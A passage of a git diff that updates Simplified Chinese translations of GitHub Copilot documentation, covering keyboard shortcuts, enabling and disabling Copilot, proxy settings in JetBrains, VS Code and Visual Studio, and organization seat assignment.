rebinding keyboard shortcuts in your JetBrains IDE, see the JetBrains documentation. For example, you can view the [IntelliJ IDEA](https://www.jetbrains.com/help/idea/mastering-keyboard-shortcuts.html#choose-keymap) documentation. +使用 {% data variables.product.prodname_copilot %} 时,可以在 JetBrains IDE 中使用默认键盘快捷方式获取内联建议。 或者,可以将快捷方式重新绑定到每个特定命令的首选键盘快捷方式。 有关在 JetBrains IDE 中重新绑定键盘快捷方式的详细信息,请参阅 JetBrains 文档。 例如,可以查看 [IntelliJ IDEA](https://www.jetbrains.com/help/idea/mastering-keyboard-shortcuts.html#choose-keymap) 文档。 {% mac %} -| Action | Shortcut | +| 操作 | 快捷键 | |:---|:---| -|Accept an inline suggestion|Tab| -|Dismiss an inline suggestion|Esc| -|Show next inline suggestion|Option (⌥) or Alt+]| -|Show previous inline suggestion|Option (⌥) or Alt+[| -|Trigger inline suggestion|Option (⌥)+\| -|Open {% data variables.product.prodname_copilot %} (additional suggestions in separate pane)|Option (⌥) or Alt+Return | +|接受内联建议|选项卡| +|忽略内联建议|Esc| +|显示下一个内联建议|Option (⌥) 或 Alt+]| +|显示上一个内联建议|Option (⌥) 或 Alt+[| +|触发内联建议|Option (⌥)+\| +|打开 {% data variables.product.prodname_copilot %}(单独窗格中的其他建议)|Option (⌥) 或 Alt+Return | {% endmac %} {% windows %} -| Action | Shortcut | +| 操作 | 快捷键 | |:---|:---| -|Accept an inline suggestion|Tab| -|Dismiss an inline suggestion|Esc| -|Show next inline suggestion|Alt+]| -|Show previous inline suggestion|Alt+[| -|Trigger inline suggestion|Alt+\| -|Open {% data variables.product.prodname_copilot %} (additional suggestions in separate pane)|Alt+Enter | +|接受内联建议|选项卡| +|忽略内联建议|Esc| +|显示下一个内联建议|Alt+]| +|显示上一个内联建议|Alt+[| +|触发内联建议|Alt+\| +|打开 {% data variables.product.prodname_copilot %}(单独窗格中的其他建议)|Alt+Enter | {% endwindows %} {% linux %} -| Action | Shortcut | +| 操作 | 快捷键 | |:---|:---| -|Accept an inline suggestion|Tab| -|Dismiss an inline suggestion|Esc| -|Show next inline suggestion|Alt+]| -|Show previous inline suggestion|Alt+[| -|Trigger inline suggestion|Alt+\| -|Open {% data variables.product.prodname_copilot %} (additional suggestions in separate pane)|Alt+Enter | +|接受内联建议|选项卡| +|忽略内联建议|Esc| +|显示下一个内联建议|Alt+]| +|显示上一个内联建议|Alt+[| +|触发内联建议|Alt+\| +|打开 {% data variables.product.prodname_copilot %}(单独窗格中的其他建议)|Alt+Enter | {% endlinux %} -## Enabling or disabling {% data variables.product.prodname_copilot %} +## 启用或禁用 {% data variables.product.prodname_copilot %} -You can enable or disable {% data variables.product.prodname_copilot %} from within your JetBrains IDE. The {% data variables.product.prodname_copilot %} status icon in the bottom panel of the JetBrains window indicates whether {% data variables.product.prodname_copilot %} is enabled or disabled. When enabled, the icon is highlighted. When disabled, the icon is grayed out. +可从 JetBrains IDE 启用或禁用 {% data variables.product.prodname_copilot %}。 JetBrains 窗口底部面板中的 {% data variables.product.prodname_copilot %} 状态图标指示 {% data variables.product.prodname_copilot %} 是启用还是禁用。 启用后,将突出显示图标。 禁用后,图标灰显。 -1. To enable or disable {% data variables.product.prodname_copilot %}, click the status icon in the bottom panel of the JetBrains window. - ![Status icon in JetBrains](/assets/images/help/copilot/status-icon-jetbrains.png) -2. If you are disabling {% data variables.product.prodname_copilot %}, you will be asked whether you want to disable it globally, or for the language of the file you are currently editing. To disable globally, click **Disable Completions**. Alternatively, click the language-specific button to disable {% data variables.product.prodname_copilot %} for the specified language. - ![Disable {% data variables.product.prodname_copilot %} globally or for the current language](/assets/images/help/copilot/disable-copilot-global-or-langugage-jetbrains.png) +1. 若要启用或禁用 {% data variables.product.prodname_copilot %},请单击 JetBrains 窗口底部面板中的状态图标。 + ![JetBrains 中的状态图标](/assets/images/help/copilot/status-icon-jetbrains.png) +2. 如果要禁用 {% data variables.product.prodname_copilot %},系统会询问是全局禁用它,还是要禁用当前正在编辑的文件的语言。 若要全局禁用,请单击“禁用完成”。 或者,单击特定于语言的按钮,为指定语言禁用 {% data variables.product.prodname_copilot %}。 + ![全局或为当前语言禁用 {% data variables.product.prodname_copilot %}](/assets/images/help/copilot/disable-copilot-global-or-langugage-jetbrains.png) -## Configuring advanced settings for {% data variables.product.prodname_copilot %} +## 配置 {% data variables.product.prodname_copilot %} 的高级设置 -You can manage advanced settings for {% data variables.product.prodname_copilot %} in your JetBrains IDE, such as how your IDE displays code completions, and which languages you want to enable or disable for {% data variables.product.prodname_copilot %}. +可在 JetBrains IDE 中管理 {% data variables.product.prodname_copilot %} 的高级设置,例如 IDE 显示代码完成的方式,以及针对 {% data variables.product.prodname_copilot %} 要启用或禁用的语言。 -1. In your JetBrains IDE, click the **File** menu, then click **Settings**. -1. Under **Languages & Frameworks**, click **{% data variables.product.prodname_copilot %}**. -1. Edit the settings according to your personal preferences. - - To adjust the behaviour and appearance of code suggestions, and whether to automatically check for updates, select or deselect the corresponding checkboxes. - - If you have selected to receive automatic updates, you can choose whether to receive stable, but less frequent updates, or nightly updates, which may be less stable. Click the **Update channel** dropdown and select **Stable** for stable updates, or **Nightly** for nightly updates. - - Under "Disabled languages," use the checkboxes to select or deselect the languages you want to disable {% data variables.product.prodname_copilot %} for. +1. 在 JetBrains IDE 中,单击“文件”菜单,然后单击“设置” 。 +1. 在“语言和框架”下,单击 {% data variables.product.prodname_copilot %} 。 +1. 根据个人首选项编辑设置。 + - 要调整代码建议的行为和外观,以及是否自动检查更新,请选中或取消选中相应的复选框。 + - 如果已选择接收自动更新,可以选择是接收稳定但频率较低的更新,还是接收可能不太稳定的夜间更新。 单击“更新通道”下拉列表,选择“稳定”(适用于稳定更新)或“夜间”(适用于夜间更新) 。 + - 在“已禁用的语言”下,使用复选框选择或取消选择要为其禁用 {% data variables.product.prodname_copilot %} 的语言。 -## Configuring proxy settings for {% data variables.product.prodname_copilot %} +## 配置 {% data variables.product.prodname_copilot %} 的代理设置 -You can configure {% data variables.product.prodname_copilot %} to connect through an HTTP proxy server in a Jetbrains IDE. {% data variables.product.prodname_copilot %} supports basic HTTP proxy setups, with or without basic authentication. +可以将 {% data variables.product.prodname_copilot %} 配置为通过 Jetbrains IDE 中的 HTTP 代理服务器进行连接。 {% data variables.product.prodname_copilot %} 支持基本 HTTP 代理设置,无论是否使用基本身份验证。 -1. In your JetBrains IDE, click the **File** menu, then click **Settings**. -1. Under **Appearance & Behavior**, click **System Settings** and then click **HTTP Proxy**. -1. Select the **Manual proxy configuration** checkbox, and then select the **HTTP** checkbox. -1. In the "Host name" field, enter the hostname of your proxy server, and in the "Port number" field, enter the port number of your proxy server. +1. 在 JetBrains IDE 中,单击“文件”菜单,然后单击“设置” 。 +1. 在“外观与行为”下,单击“系统设置”,然后单击“HTTP 代理” 。 +1. 选中“手动代理配置”复选框,然后选中“HTTP”复选框 。 +1. 在“主机名”字段中,输入代理服务器的主机名,并在“端口号”字段中输入代理服务器的端口号。 - ![Screenshot of the HTTP proxy settings in JetBrains](/assets/images/help/copilot/proxy-configuration-jetbrains.png) + ![JetBrains 中 HTTP 代理设置的屏幕截图](/assets/images/help/copilot/proxy-configuration-jetbrains.png) -1. Optionally, in the left sidebar, click **Tools** and then click **Server Certificates**. Then select or deselect the "Accept non-trusted certificates automatically" checkbox, depending on whether you want to accept non-trusted certificates automatically. +1. (可选)在左侧边栏中,单击“工具”,然后单击“服务器证书” 。 然后,根据是否要自动接受不受信任的证书,选中或取消选中“自动接受不受信任的证书”复选框。 - ![Screenshot of the server certificates settings in JetBrains](/assets/images/help/copilot/server-certificates-jetbrains.png) + ![JetBrains 中服务器证书设置的屏幕截图](/assets/images/help/copilot/server-certificates-jetbrains.png) {% data reusables.copilot.dotcom-settings %} diff --git a/translations/zh-CN/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio-code.md b/translations/zh-CN/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio-code.md index f1502430c1..a592de56ec 100644 --- a/translations/zh-CN/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio-code.md +++ b/translations/zh-CN/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio-code.md @@ -1,99 +1,104 @@ --- -title: Configuring GitHub Copilot in Visual Studio Code -intro: 'You can enable, configure, and disable {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}.' +title: 在 Visual Studio Code 中配置 GitHub Copilot +intro: '可以在 {% data variables.product.prodname_vscode %} 中启用、配置和禁用 {% data variables.product.prodname_copilot %}。' product: '{% data reusables.gated-features.copilot %}' versions: feature: copilot shortTitle: Visual Studio Code topics: - Copilot +ms.openlocfilehash: ab043d4eeca2003deaf77aa80be46fc79acf8649 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193251' --- +## 关于 {% data variables.product.prodname_vscode %} 中的 {% data variables.product.prodname_copilot %} -## About {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %} +如果使用 {% data variables.product.prodname_vscode %},{% data variables.product.prodname_copilot %} 可以在你键入时自动完成代码。 安装完成后,可以启用或禁用 {% data variables.product.prodname_copilot %},并且可以在 {% data variables.product.prodname_vscode %} 或 {% data variables.product.prodname_dotcom_the_website %} 上配置高级设置。 -If you use {% data variables.product.prodname_vscode %}, {% data variables.product.prodname_copilot %} can autocomplete code as you type. After installation, you can enable or disable {% data variables.product.prodname_copilot %}, and you can configure advanced settings within {% data variables.product.prodname_vscode %} or on {% data variables.product.prodname_dotcom_the_website %}. +## 先决条件 -## Prerequisites +若要在 {% data variables.product.prodname_vscode %} 中配置 {% data variables.product.prodname_copilot %},必须安装 {% data variables.product.prodname_copilot %} 插件。 有关详细信息,请参阅“[{% data variables.product.prodname_vscode %} 中的 {% data variables.product.prodname_copilot %} 入门指南](/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code)”。 -To configure {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}, you must install the {% data variables.product.prodname_copilot %} plugin. For more information, see "[Getting started with {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}](/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code)." +## {% data variables.product.prodname_copilot %} 的键盘快捷方式 -## Keyboard shortcuts for {% data variables.product.prodname_copilot %} - -You can use the default keyboard shortcuts in {% data variables.product.prodname_vscode %} when using {% data variables.product.prodname_copilot %}. Alternatively, you can rebind the shortcuts in the Keyboard Shortcuts editor using your preferred keyboard shortcuts for each specific command. You can search for each keyboard shortcut by command name in the Keyboard Shortcuts editor. +使用 {% data variables.product.prodname_copilot %} 时,可使用 {% data variables.product.prodname_vscode %} 中的默认键盘快捷方式。 也可使用每个特定命令的首选键盘快捷方式在键盘快捷方式编辑器中重新绑定快捷方式。 可以在键盘快捷方式编辑器中按命令名称搜索每个键盘快捷方式。 {% mac %} -| Action | Shortcut | Command name | +| 操作 | 快捷键 | 命令名称 | |:---|:---|:---| -|Accept an inline suggestion|Tab|editor.action.inlineSuggest.commit| -|Dismiss an inline suggestion|Esc|editor.action.inlineSuggest.hide| -|Show next inline suggestion| Option (⌥)+]
|editor.action.inlineSuggest.showNext| -|Show previous inline suggestion| Option (⌥)+[
|editor.action.inlineSuggest.showPrevious| -|Trigger inline suggestion| Option (⌥)+\
|editor.action.inlineSuggest.trigger| -|Open {% data variables.product.prodname_copilot %} (additional suggestions in separate pane)|Ctrl+Return|github.copilot.generate| -|Toggle {% data variables.product.prodname_copilot %} on/off|_No default shortcut_|github.copilot.toggleCopilot| +|接受内联建议|选项卡|editor.action.inlineSuggest.commit| +|忽略内联建议|Esc|editor.action.inlineSuggest.hide| +|显示下一个内联建议| Option (⌥)+]
|editor.action.inlineSuggest.showNext| +|显示上一个内联建议| Option (⌥)+[
|editor.action.inlineSuggest.showPrevious| +|触发内联建议| Option (⌥)+\
|editor.action.inlineSuggest.trigger| +|打开 {% data variables.product.prodname_copilot %}(单独窗格中的其他建议)|Ctrl+Return|github.copilot.generate| +|开启/关闭 {% data variables.product.prodname_copilot %}|没有默认快捷方式|github.copilot.toggleCopilot| {% endmac %} {% windows %} -| Action | Shortcut | Command name | +| 操作 | 快捷键 | 命令名称 | |:---|:---|:---| -|Accept an inline suggestion|Tab|editor.action.inlineSuggest.commit| -|Dismiss an inline suggestion|Esc|editor.action.inlineSuggest.hide| -|Show next inline suggestion|Alt+] |editor.action.inlineSuggest.showNext| -|Show previous inline suggestion|Alt+[|editor.action.inlineSuggest.showPrevious| -|Trigger inline suggestion|Alt+\|editor.action.inlineSuggest.trigger| -|Open {% data variables.product.prodname_copilot %} (additional suggestions in separate pane)|Ctrl+Enter|github.copilot.generate| -|Toggle {% data variables.product.prodname_copilot %} on/off|_No default shortcut_|github.copilot.toggleCopilot| +|接受内联建议|选项卡|editor.action.inlineSuggest.commit| +|忽略内联建议|Esc|editor.action.inlineSuggest.hide| +|显示下一个内联建议|Alt+] |editor.action.inlineSuggest.showNext| +|显示上一个内联建议|Alt+[|editor.action.inlineSuggest.showPrevious| +|触发内联建议|Alt+\|editor.action.inlineSuggest.trigger| +|打开 {% data variables.product.prodname_copilot %}(单独窗格中的其他建议)|Ctrl+Enter|github.copilot.generate| +|开启/关闭 {% data variables.product.prodname_copilot %}|没有默认快捷方式|github.copilot.toggleCopilot| {% endwindows %} {% linux %} -| Action | Shortcut | Command name | +| 操作 | 快捷键 | 命令名称 | |:---|:---|:---| -|Accept an inline suggestion|Tab|editor.action.inlineSuggest.commit| -|Dismiss an inline suggestion|Esc|editor.action.inlineSuggest.hide| -|Show next inline suggestion|Alt+] |editor.action.inlineSuggest.showNext| -|Show previous inline suggestion|Alt+[|editor.action.inlineSuggest.showPrevious| -|Trigger inline suggestion|Alt+\|editor.action.inlineSuggest.trigger| -|Open {% data variables.product.prodname_copilot %} (additional suggestions in separate pane)|Ctrl+Enter|github.copilot.generate| -|Toggle {% data variables.product.prodname_copilot %} on/off|_No default shortcut_|github.copilot.toggleCopilot| +|接受内联建议|选项卡|editor.action.inlineSuggest.commit| +|忽略内联建议|Esc|editor.action.inlineSuggest.hide| +|显示下一个内联建议|Alt+] |editor.action.inlineSuggest.showNext| +|显示上一个内联建议|Alt+[|editor.action.inlineSuggest.showPrevious| +|触发内联建议|Alt+\|editor.action.inlineSuggest.trigger| +|打开 {% data variables.product.prodname_copilot %}(单独窗格中的其他建议)|Ctrl+Enter|github.copilot.generate| +|开启/关闭 {% data variables.product.prodname_copilot %}|没有默认快捷方式|github.copilot.toggleCopilot| {% endlinux %} -## Rebinding keyboard shortcuts +## 重新绑定键盘快捷方式 -If you don't want to use the default keyboard shortcuts in {% data variables.product.prodname_vscode %} when using {% data variables.product.prodname_copilot %}, you can rebind the shortcuts in the Keyboard Shortcuts editor using your preferred keyboard shortcuts for each specific command. +如果不想在使用 {% data variables.product.prodname_copilot %} 时使用 {% data variables.product.prodname_vscode %} 中的默认键盘快捷方式,可使用每个特定命令的首选键盘快捷方式在键盘快捷方式编辑器中重新绑定快捷方式。 -1. Click the **File** menu, click **Preferences**, then click **Keyboard Shortcuts**. -![Screenshot of Visual Studio Code keyboard shortcuts](/assets/images/help/copilot/vsc-keyboard-shortcuts.png) -1. In the "Keyboard Shortcuts" editor, search for the command name of the keyboard shortcut you want to change. -![Screenshot of Keyboard shortcut search bar](/assets/images/help/copilot/vsc-shortcut-search-bar.png) -1. Next to the command you want to change, click the pencil icon. -![Screenshot of Keyboard shortcut editor](/assets/images/help/copilot/vsc-edit-shortcuts.png) -1. Type the keystrokes you want to use for the command, then press Enter/Return. -![Screenshot of Edit keyboard shortcut textbox](/assets/images/help/copilot/vsc-edit-shortcuts-textbox.png) +1. 依次单击“文件”菜单、“首选项”和“键盘快捷方式” 。 +![Visual Studio Code 键盘快捷方式的屏幕截图](/assets/images/help/copilot/vsc-keyboard-shortcuts.png) +1. 在“键盘快捷方式”编辑器中,搜索要更改的键盘快捷方式的命令名称。 +![键盘快捷方式搜索栏的屏幕截图](/assets/images/help/copilot/vsc-shortcut-search-bar.png) +1. 在要更改的命令旁边,单击铅笔图标。 +![键盘快捷方式编辑器的屏幕截图](/assets/images/help/copilot/vsc-edit-shortcuts.png) +1. 键入要用于命令的按键,然后按 Enter/Return。 +![“编辑键盘快捷方式”文本框的屏幕截图](/assets/images/help/copilot/vsc-edit-shortcuts-textbox.png) {% data reusables.copilot.enabling-or-disabling-in-vsc %} -## Enabling or disabling inline suggestions +## 启用或禁用内联建议 -You can choose to enable or disable inline suggestions for {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}. +可以选择在 {% data variables.product.prodname_vscode %} 中启用或禁用 {% data variables.product.prodname_copilot %} 的内联建议。 {% data reusables.copilot.vscode-settings %} -1. In the left-side panel of the settings tab, click **Extensions** and then select **{% data variables.product.prodname_copilot_short %}**. -1. Under "Inline Suggest:Enable," select or deselect the checkbox to enable or disable inline suggestions. +1. 在“设置”选项卡的左侧面板中,单击“扩展”,然后选择“{% data variables.product.prodname_copilot_short %}” 。 +1. 在“内联建议: 启用”下,选中或取消选中该复选框以启用或禁用内联建议。 -## Enabling or disabling {% data variables.product.prodname_copilot %} for specific languages +## 启用或禁用特定语言的 {% data variables.product.prodname_copilot %} -You can specify which languages you want to enable or disable {% data variables.product.prodname_copilot %} for. +可以指定要为其启用或禁用 {% data variables.product.prodname_copilot %} 的语言。 -1. From the {% data variables.product.prodname_vscode %}, click the **Extensions** tab, then navigate to the **Copilot** section. For more information, see "[Enabling and disabling inline suggestions](#enabling-and-disabling-inline-suggestions)." -1. Under "Enable or disable {% data variables.product.prodname_copilot_short %} for specified languages," click **Edit in settings.json**. -1. In the _settings.json_ file, add or remove the languages you want to enable or disable {% data variables.product.prodname_copilot %} for. For example, to enable Python in {% data variables.product.prodname_copilot %}, add `"python": true` to the list, ensuring there is a trailing comma after all but the last list item. +1. 在 {% data variables.product.prodname_vscode %} 中,单击“扩展”选项卡,然后导航到“Copilot”部分 。 有关详细信息,请参阅“[启用和禁用内联建议](#enabling-and-disabling-inline-suggestions)”。 +1. 在“启用或禁用指定语言的 {% data variables.product.prodname_copilot_short %}”下,单击“在 settings.json 中进行编辑”。 +1. 在 settings.json 文件中,添加或删除要为其启用或禁用 {% data variables.product.prodname_copilot %} 的语言。 例如,要在 {% data variables.product.prodname_copilot %} 中启用 Python,请将 `"python": true` 添加到列表中,确保除了最后一个列表项之外还有一个尾随逗号。 ```json { @@ -109,22 +114,22 @@ You can specify which languages you want to enable or disable {% data variables. } ``` -## Configuring proxy settings for {% data variables.product.prodname_copilot %} +## 配置 {% data variables.product.prodname_copilot %} 的代理设置 -You can configure {% data variables.product.prodname_copilot %} to connect through an HTTP proxy server in {% data variables.product.prodname_vscode %}. {% data variables.product.prodname_copilot %} supports basic HTTP proxy setups, with or without basic authentication. +可以将 {% data variables.product.prodname_copilot %} 配置为通过 {% data variables.product.prodname_vscode %} 中的 HTTP 代理服务器进行连接。 {% data variables.product.prodname_copilot %} 支持基本 HTTP 代理设置,无论是否使用基本身份验证。 {% data reusables.copilot.vscode-settings %} -1. In the left-side panel of the settings tab, click **Application** and then select **Proxy**. -1. In the textbox under "Proxy", type the address of your proxy server, for example `http://localhost:3128`. Alternatively, {% data variables.product.prodname_copilot %} will use the `http_proxy` and `https_proxy` variables from your environment. +1. 在“设置”选项卡的左侧面板中,单击“应用程序”,然后选择“代理” 。 +1. 在“代理”下的文本框中,键入代理服务器的地址,例如 `http://localhost:3128`。 或者,{% data variables.product.prodname_copilot %} 将使用环境中的 `http_proxy` 和 `https_proxy` 变量。 - ![Screenshot of Visual Studio Code proxy textbox](/assets/images/help/copilot/proxy-textbox.png) + ![Visual Studio Code 代理文本框的屏幕截图](/assets/images/help/copilot/proxy-textbox.png) -1. Optionally, under "Http: Proxy Authorization", click **Edit in settings.json** and add your required value to send as the `Proxy-Authorization` header for every network request. +1. (可选)在“Http: 代理授权”下,选择“在 settings.json 中进行编辑”,然后添加所需的值作为每个网络请求的 `Proxy-Authorization` 标头发送。 - ![Screenshot of Visual Studio Code proxy authorization textbox](/assets/images/help/copilot/proxy-authorization.png) + ![Visual Studio Code 代理授权文本框的屏幕截图](/assets/images/help/copilot/proxy-authorization.png) -1. Optionally, under "Http: Proxy Strict SSL", select or deselect the checkbox to enable or disable strict SSL. +1. (可选)在“Http:代理严格 SSL”下,选中或取消选中用于启用或禁用严格 SSL 的复选框。 - ![Screenshot of Visual Studio Code proxy strict SSL checkbox](/assets/images/help/copilot/proxy-strict-ssl.png) + ![Visual Studio Code 代理严格 SSL 复选框的屏幕截图](/assets/images/help/copilot/proxy-strict-ssl.png) {% data reusables.copilot.dotcom-settings %} diff --git a/translations/zh-CN/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio.md b/translations/zh-CN/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio.md index c173fba579..4f293831c3 100644 --- a/translations/zh-CN/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio.md +++ b/translations/zh-CN/content/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio.md @@ -7,12 +7,12 @@ versions: shortTitle: Visual Studio topics: - Copilot -ms.openlocfilehash: cb24557b15eafd4a5be8ef1a991ae3c43f376c67 -ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.openlocfilehash: 05ac86405caadf3085b15a2aed9b54acb84f91f1 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 09/09/2022 -ms.locfileid: '147786027' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193226' --- ## 关于 {% data variables.product.prodname_vs %} 中的 {% data variables.product.prodname_copilot %} @@ -37,13 +37,20 @@ ms.locfileid: '147786027' 如果不想在使用 {% data variables.product.prodname_copilot %} 时使用 {% data variables.product.prodname_vs %} 中的默认键盘快捷方式,可使用每个特定命令的首选键盘快捷方式在键盘编辑器中重新绑定快捷方式。 1. 在 {% data variables.product.prodname_vs %} 工具栏中的“工具”下,单击“选项” 。 + ![{% data variables.product.prodname_vs %} 工具栏中“选项”选项的屏幕截图](/assets/images/help/copilot/vs-toolbar-options.png) + 1. 在“选项”对话框中的“环境”下,单击“键盘” 。 + ![“选项”对话框中“键盘”选项的屏幕截图](/assets/images/help/copilot/vs-options-dialogue.png) + 1. 在“显示命令包含:”下,搜索要重新绑定的命令。 + ![“显示命令包含”搜索栏的屏幕截图](/assets/images/help/copilot/vs-show-commands-containing.png) + 1. 在“按快捷键”下,键入要分配给命令的快捷键,然后单击“分配”。 - ![键盘快捷方式分配的屏幕截图](/assets/images/help/copilot/vs-rebind-shortcut.png) + + ![键盘快捷方式分配的屏幕截图](/assets/images/help/copilot/vs-rebind-shortcut.png)``` {% data reusables.copilot.enabling-or-disabling-vs %} diff --git a/translations/zh-CN/content/copilot/configuring-github-copilot/configuring-github-copilot-settings-in-your-organization.md b/translations/zh-CN/content/copilot/configuring-github-copilot/configuring-github-copilot-settings-in-your-organization.md new file mode 100644 index 0000000000..a673fc3582 --- /dev/null +++ b/translations/zh-CN/content/copilot/configuring-github-copilot/configuring-github-copilot-settings-in-your-organization.md @@ -0,0 +1,143 @@ +--- +title: 在组织中配置 GitHub Copilot 设置 +intro: '可在组织中配置 {% data variables.product.prodname_copilot %},包括授予和撤销对个人和团队的访问权限,以及确定是否阻止与公共代码匹配的建议。' +product: '{% data reusables.gated-features.copilot %}' +miniTocMaxHeadingLevel: 3 +permissions: 'Organization owners and members with admin permissions can configure {% data variables.product.prodname_copilot %} in their organization.' +versions: + ghec: '*' +topics: + - Copilot +shortTitle: Organization settings +ms.openlocfilehash: 345d0a48aa3f48e453fd8455027f683ee78a7640 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193250' +--- +## 关于组织中的 {% data variables.product.prodname_copilot %} 设置 + +{% data reusables.copilot.about-copilot %} + +若要在组织中配置 {% data variables.product.prodname_copilot %} 使用,组织的所有者必须为 {% data variables.product.prodname_ghe_cloud %} 帐户,并且企业管理员必须首先为组织启用 {% data variables.product.prodname_copilot_business_short %}。 然后,组织管理员将能够管理组织内的席位分配。 + +根据在企业级别配置的策略设置,组织管理员还可以确定允许或阻止与公共代码匹配的 {% data variables.product.prodname_copilot %} 建议。 有关详细信息,请参阅“[在企业中强制实施 {% data variables.product.prodname_copilot %} 的策略](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-copilot-in-your-enterprise)”。 + +## 配置组织中对 {% data variables.product.prodname_copilot %} 的访问权限 + +{% data variables.product.prodname_ghe_cloud %} 管理员在组织中启用 {% data variables.product.prodname_copilot_business_short %} 订阅后,你可以将 {% data variables.product.prodname_copilot %} 席位分配给组织中的个人和团队。 + +### 为组织中的所有当前用户和未来用户启用对 {% data variables.product.prodname_copilot %} 的访问权限 + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. 在边栏的“代码规划和自动化”部分中,单击“{% octicon "copilot" aria-label="The copilot icon" %} {% data variables.product.prodname_copilot_short %}”,然后单击“访问权限” 。 +1. 在“用户权限”下,若要为组织中所有当前用户和未来用户启用 {% data variables.product.prodname_copilot %},请选择“允许所有成员”。 + + ![{% data variables.product.prodname_copilot %} 用户权限的屏幕截图](/assets/images/help/copilot/allow-all-members.png) + +1. 在“确认席位分配”对话框中,若要确认要为组织中的所有当前用户和将来用户启用 {% data variables.product.prodname_copilot %},请单击“确认”。 + + ![用于确认席位分配的对话框的屏幕截图](/assets/images/help/copilot/confirm-seat-assignment.png) + +1. 单击“**保存**”以保存更改。 + + ![{% data variables.product.prodname_copilot %} 用户权限保存按钮的屏幕截图](/assets/images/help/copilot/user-permissions-save.png) + +### 为组织中的特定用户启用对 {% data variables.product.prodname_copilot %} 的访问权限 + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. 在边栏的“代码规划和自动化”部分中,单击“{% octicon "copilot" aria-label="The copilot icon" %} {% data variables.product.prodname_copilot_short %}”,然后单击“访问权限” 。 +1. 在“用户权限”下,若要为组织中所选的团队或用户启用 {% data variables.product.prodname_copilot %},请选择“所选团队/用户”并单击“保存” 。 + + ![{% data variables.product.prodname_copilot %} 所选用户/团队权限的屏幕截图](/assets/images/help/copilot/selected-users-teams.png) + +1. 如果要从“允许所有成员”设置更新用户访问权限,请在“确认席位分配”对话框中,选择开始分配访问权限的方式。 + - 若要取消分配所有成员,然后选择应具备访问权限的成员,请选择“从头开始”。 + - 若要保留当前具有访问权限的所有成员,然后选择不应具备访问权限的成员,请选择“保留所有用户”。 + + ![用于确认席位分配的对话框的屏幕截图](/assets/images/help/copilot/confirm-seat-assignment-selected.png) + +1. 如果选择了“从头开始”,请单击“添加人员”或“添加团队”以添加个人用户或整个团队 。 + + ![“添加人员”或“添加团队”按钮的屏幕截图](/assets/images/help/copilot/add-people-add-teams.png) + +1. 如果选择了“添加人员”,则在“为组织所选成员启用 GitHub Copilot 访问权限”对话框中,可以搜索各个成员,也可以通过上传 CSV 文件批量添加成员。 + + ![用于为所选成员启用访问权限的对话框的屏幕截图](/assets/images/help/copilot/enable-access-for-selected-members.png) + + - 若要搜索成员,请在搜索栏中键入成员的用户名、全名或电子邮件地址。 + - 若要批量添加成员,请单击“上传 CSV”,然后上传 CSV 文件,其中包含要添加的每个成员的用户名或电子邮件地址,并用逗号分隔。 + + {% warning %} + + 警告:上传 CSV 文件时,{% data variables.product.prodname_copilot %} 会在 {% data variables.product.prodname_dotcom_the_website %} 上搜索所有用户,寻找匹配的用户。 如果 CSV 包含不属于组织成员的用户,则单击“添加 XX 成员”时,系统会邀请他们加入组织。 + + {% endwarning %} + + - 查看从 CSV 文件生成的用户列表。 若要确认要向列出的用户授予访问权限,请单击“将 XX 成员添加到访问列表”,或单击“取消”以拒绝该列表 。 + + ![CSV 列表结果的屏幕截图](/assets/images/help/copilot/csv-results.png) + +1. 如果选择了“添加团队”,则首先在“为组织所选团队启用 GitHub Copilot 访问权限”对话框的搜索栏中键入团队名称,选择要添加的团队,然后单击“选择以上团队” 。 + + ![用于为所选团队启用访问权限的对话框的屏幕截图](/assets/images/help/copilot/add-teams.png) + +1. 如果选择了“保留所有用户”,请查看组织成员的完整列表,并选择要撤消其 {% data variables.product.prodname_copilot %} 访问权限的各个成员。 + + ![“保留所有用户”列表的屏幕截图](/assets/images/help/copilot/access-removal-list.png) + +1. 单击“所选 XX 成员”下拉列表,然后单击“删除” 。 + + ![用于删除访问权限的按钮的屏幕截图](/assets/images/help/copilot/remove-access.png) + +### 禁用整个组织对 {% data variables.product.prodname_copilot %} 的访问权限 + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. 在边栏的“代码规划和自动化”部分中,单击“{% octicon "copilot" aria-label="The copilot icon" %} {% data variables.product.prodname_copilot_short %}”,然后单击“访问权限” 。 +1. 在“用户权限”下,若要为组织中所有用户禁用 {% data variables.product.prodname_copilot %},请选择“已禁用”。 + + ![{% data variables.product.prodname_copilot %} 已禁用用户权限的屏幕截图](/assets/images/help/copilot/disable-access.png) + +1. 单击“**保存**”以保存更改。 + + ![{% data variables.product.prodname_copilot %} 用户权限保存按钮的屏幕截图](/assets/images/help/copilot/save-disabled.png) + +### 禁用组织中特定用户对 {% data variables.product.prodname_copilot %} 的访问权限 + +从为用户分配了 {% data variables.product.prodname_copilot %} 席位的组织中删除该用户将自动取消为其分配席位。 